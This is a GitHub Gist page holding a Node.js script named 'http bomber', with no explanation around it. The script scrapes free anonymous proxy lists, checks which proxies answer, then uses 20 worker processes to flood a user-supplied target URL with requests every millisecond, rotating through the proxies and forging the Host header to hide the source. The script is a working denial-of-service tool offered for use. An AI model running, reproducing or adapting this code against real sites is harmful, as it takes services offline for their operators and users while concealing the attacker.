Created
June 28, 2012 06:03
-
-
Save fxsjy/3009412 to your computer and use it in GitHub Desktop.
http bomber
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var http=require('http') | |
url =require("url") | |
var cluster = require('cluster'); | |
if (cluster.isMaster) { | |
// Fork workers. | |
for (var i = 0; i < 20; i++) { | |
cluster.fork(); | |
} | |
cluster.on('exit', function(worker, code, signal) { | |
console.log('worker ' + worker.pid + ' died'); | |
}); | |
} | |
else{ | |
proxy_list =[] | |
total_req = 0 | |
time_span = 1 | |
good_proxy = [] | |
if(process.argv.length<3){ | |
console.log("usage: node bomber.js http://www.somesite.com/someurl") | |
process.exit(0) | |
} | |
attack_url = process.argv[2] | |
for(i=1;i<=9;i++){ | |
setTimeout(function(t_url){ | |
console.log(t_url) | |
opt= url.parse(t_url) | |
var req = http.request(opt,function(res){ | |
res.setEncoding('utf8'); | |
page = "" | |
res.on('data',function(chunk){ | |
page += chunk | |
}) | |
res.on('end',function(){ | |
var ip_regex = /<td class="t_ip">(.+?)<\/td>/g | |
while(ip = ip_regex.exec(page)){ | |
proxy_list.push(ip[1]) | |
} | |
total_req++ | |
console.log(total_req) | |
if(total_req==9) | |
process.emit("proxy_done") | |
}) | |
res.on('error',function(e){ | |
console.log('problem with request: ' + e.message); | |
}) | |
}) | |
req.on("error",function(e){ | |
console.log('problem with request: ' + e.message); | |
}) | |
req.end() | |
},i*10,"http://proxyhttp.net/free-list/anonymous-server-hide-ip-address/"+i+"#proxylist") | |
} | |
function test_one_proxy(options,l_proxy,l_port){ | |
http.get(options, function(res) { | |
res.on("end",function(){ | |
if(res.statusCode==200){ | |
console.log(l_proxy,l_port,res.statusCode) | |
good_proxy.push([l_proxy,l_port]) | |
console.log("good_proxy.length:",good_proxy.length) | |
} | |
}) | |
}).on('error', function(e) { | |
//console.log(["error:",item,t_port]) | |
}); | |
} | |
process.on("proxy_done",function(){ | |
unqiue_list = [] | |
proxy_list.sort() | |
proxy_list.forEach(function(item){ | |
if(unqiue_list.length==0) | |
unqiue_list.push(item) | |
else{ | |
if(item != unqiue_list[unqiue_list.length-1]) | |
unqiue_list.push(item) | |
} | |
}) | |
proxy_list = unqiue_list | |
console.log(proxy_list.length) | |
port_list = [80,8080,3128] | |
proxy_list.forEach(function(item){ | |
for(i=0;i<port_list.length;i++){ | |
var t_port = port_list[i] | |
var options = { | |
host: item, | |
port: t_port, | |
path: "http://www.baidu.com/", | |
headers: { | |
Host: "www.baidu.com" | |
} | |
}; | |
test_one_proxy(options, item,t_port) | |
} | |
}) | |
console.log("!!!!!ready go, ","we have ", good_proxy.length," proxies") | |
setTimeout(function(){ | |
setInterval(function(){ | |
process.emit("start_attack") | |
},time_span) | |
},25000) | |
}) | |
process.on("start_attack",function(){ | |
var n = Math.floor(Math.random()*good_proxy.length) | |
var options = url.parse(attack_url) | |
var real_host = options.host | |
options.host = good_proxy[n][0] | |
options.port = good_proxy[n][1] | |
if(options.headers==null){ | |
options.headers = {} | |
} | |
options.headers['Host'] = real_host | |
var req = http.request(options, function(res) { | |
res.on("data",function(chunk){ | |
console.log(real_host, res.statusCode) | |
req.abort() | |
}) | |
}).on('error', function(e) { | |
console.log("error:",e.message) | |
}); | |
req.end() | |
}) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment